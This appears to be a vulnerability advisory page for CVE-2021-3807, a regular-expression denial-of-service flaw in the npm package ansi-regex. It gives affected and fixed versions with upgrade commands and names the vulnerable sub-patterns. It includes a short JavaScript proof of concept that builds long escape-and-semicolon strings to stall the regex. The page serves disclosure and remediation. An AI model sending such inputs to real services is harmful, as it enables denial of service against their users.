HighGHSA-93q8-gq69-wqmwCVE-2021-3807

Inefficient Regular Expression Complexity in chalk/ansi-regex

Published 20 Sept 2021 · Updated 10 Sept 2026

Affected packages

Affected
>=6.0.0 <6.0.1
Fixed in
6.0.1
Update to the fixed version for your release line, for example:npm install ansi-regex@6.0.1
Affected
>=5.0.0 <5.0.1
Fixed in
5.0.1
Update to the fixed version for your release line, for example:npm install ansi-regex@5.0.1
Affected
>=4.0.0 <4.1.1
Fixed in
4.1.1
Update to the fixed version for your release line, for example:npm install ansi-regex@4.1.1
Affected
>=3.0.0 <3.0.1
Fixed in
3.0.1
Update to the fixed version for your release line, for example:npm install ansi-regex@3.0.1

Details

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Is GHSA-93q8-gq69-wqmw in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected ansi-regex, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.